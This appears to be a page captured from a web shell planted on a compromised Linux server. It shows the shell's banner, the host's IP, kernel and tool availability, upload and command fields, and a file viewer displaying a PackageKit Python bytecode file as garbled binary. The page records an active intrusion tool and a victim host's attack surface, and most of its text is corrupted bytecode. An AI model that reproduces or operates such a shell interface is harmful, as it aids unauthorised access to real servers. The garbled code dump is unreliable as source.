403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/PackageKit/helpers/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/PackageKit/helpers/yum/yumComps.pyc
Ñò
°séJc@sKddkTddkZddkZddkZdZddd„ƒYZdS(iÿÿÿÿ(t*Nt1tyumCompscBsƒeZd
d„Zd„Zd„Zd„Zed„Zd„Z	d„Z
d„Zd„Zd	„Z
d
„Zd„Zd„ZRS(c	Csø||_d|_d|_|p
d}n||_h|_tddƒ}|iƒ}x˜|D]}|iddƒ}t	|ƒdjoq`n|i
dƒ}t	|ƒdjoq`n|d	i
d
ƒ}x|D]}|d|i|<qÕWq`WdS(Ns#/var/cache/PackageKit/groups.sqlites7/usr/share/PackageKit/helpers/yum/yum-comps-groups.conftrs
tit=iit,(tyumbasetNonetcursort
connectiontdbtgroupMaptopent	readlinestreplacetlentsplit(	tselfRRtmappingtlinestlineRtentriestentry((s-/usr/share/PackageKit/helpers/yum/yumComps.pyt__init__s*			
		cCsóy+ti|iƒ|_|iiƒ|_Wn.tj
o"}d|it|ƒfGHtSXyqd}|ii	dƒx"|iD]}t|dƒ}PqW|p
|t
jod|t
fGH|iƒnWntj
o}|iƒnXtS(s connect to database s!cannot connect to database %s: %ssSELECT version FROM versionis&Wrong database versions : %s needs %s N(
tsqlite3tconnectRR
R	t	ExceptiontstrtFalseRtexecutet
__DB_VER__t_make_database_tablestTrue(Rtetversiontrow((s-/usr/share/PackageKit/helpers/yum/yumComps.pyR9s&
cCs³yH|iiƒti|iƒti|iƒ|_|iiƒ|_Wntj
o}|GHnLX|ii	dƒ|ii	dƒ|ii	dt
ƒ|iiƒ|iƒdS(s8 Setup a database for yum category and group informations\CREATE TABLE groups (name TEXT, category TEXT, groupid TEXT, group_enum TEXT, pkgtype Text);s$CREATE TABLE version (version TEXT);sINSERT INTO version values(?);N(
R
tclosetostunlinkRRRR	RRRtcommittrefresh(RR"((s-/usr/share/PackageKit/helpers/yum/yumComps.pyR Ts


cCs&|iid|||||fƒdS(s add an item into the database s)INSERT INTO groups values(?, ?, ?, ?, ?);N(R	R(Rtnametcategorytgroupidtpkgrouptpkgtype((s-/usr/share/PackageKit/helpers/yum/yumComps.pyt_add_dbdscsðyˆiii}Wn1tiij
o
}tStj
o
}tSXˆiiidjotSˆi	i
dƒxN|D]F}t‡fd†t‡fd†|i
ƒƒ}ˆi||iƒqyWˆiiƒdGHˆiƒˆiiƒtS(s+ get the data from yum (slow, REALLY SLOW) isDELETE FROM groups;csˆiii|ƒS((Rtcompstreturn_group(tx(R(s-/usr/share/PackageKit/helpers/yum/yumComps.pyt<lambda>xscsˆiii|ƒS((RR0t	has_group(R2(R(s-/usr/share/PackageKit/helpers/yum/yumComps.pyR3yssNon Categorized groups(RR0t
categoriestyumtErrorst	RepoErrorRRt
compscountR	Rtmaptfiltertgroupst_add_groups_to_dbt
categoryidR
R(t_add_non_catagorized_groupsR!(RtforcetcatsR"R+tgrps((Rs-/usr/share/PackageKit/helpers/yum/yumComps.pyR)hs&


cCsx|D]ý}|i}|iddƒ}|iddƒ}d||f}t}|ii|ƒo|i|}n
dG|GHx*|iD]}|i||||dƒq‡Wx*|iD]}|i||||dƒq´Wx*|iD]}|i||||dƒqáWqWdS(	Nsrpmfusion_nonfree-Rsrpmfusion_free-s%s;%ssunknown group enumt	mandatorytdefaulttoptional(	R,RtGROUP_OTHERRthas_keytmandatory_packagesR/tdefault_packagestoptional_packages(RRBtcat_idtgroupt
group_nametgroup_idt
group_enumtpackage((s-/usr/share/PackageKit/helpers/yum/yumComps.pyR=ƒs&		


cCsig}xL|iiiD];}|i|iƒoqq|io|i|ƒqqW|i|dƒdS(Ntother(RR0R<tget_categoryR,tuser_visibletappendR=(Rtto_addtgrp((s-/usr/share/PackageKit/helpers/yum/yumComps.pyR?™s
cCsEg}|iid|gƒx"|iD]}|i|dƒq&W|S(s4 for a PK group, get the packagelist for this group s-SELECT name FROM groups WHERE group_enum = ?;i(R	RRT(Rt	group_keytall_packagesR$((s-/usr/share/PackageKit/helpers/yum/yumComps.pytget_package_list¥s
cCs>|iid|gƒt}x|iD]}|d}q&W|S(s2 return the PackageKit group enum for the package s-SELECT group_enum FROM groups WHERE name = ?;i(R	RRF(RtpkgnameRLR$((s-/usr/share/PackageKit/helpers/yum/yumComps.pyt	get_group­s
cCsHtƒ}|iidƒx"|iD]}|i|dƒq#Wt|ƒS(s return all the group_id's sSELECT groupid FROM groupsi(tsetR	Rtaddtlist(RtmetapkgsR$((s-/usr/share/PackageKit/helpers/yum/yumComps.pytget_meta_packages¶s	
cCsEg}|iid|gƒx"|iD]}|i|dƒq&W|S(sK for a comps group, get the packagelist for this group (mandatory, default)s+SELECT name FROM groups WHERE groupid = ? ;i(R	RRT(RR,RXR$((s-/usr/share/PackageKit/helpers/yum/yumComps.pytget_meta_package_list¾s
cCs?d}|iid|gƒx|iD]}|d}Pq&W|S(s1 for a comps group, get the category for a group s.SELECT category FROM groups WHERE groupid = ?;iN(RR	R(RR,R+R$((s-/usr/share/PackageKit/helpers/yum/yumComps.pyRRÆs

cCsNtƒ}|iid|gƒx"|iD]}|i|dƒq)Wt|ƒS(Ns-SELECT groupid FROM groups WHERE category = ?i(R\R	RR]R^(RRKRBR$((s-/usr/share/PackageKit/helpers/yum/yumComps.pyt
get_groupsÏs	
N(t__name__t
__module__RRRR R/RR)R=R?RYR[R`RaRRRb(((s-/usr/share/PackageKit/helpers/yum/yumComps.pyRs												((tpackagekit.enumsRR&R6RR(((s-/usr/share/PackageKit/helpers/yum/yumComps.pyt<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit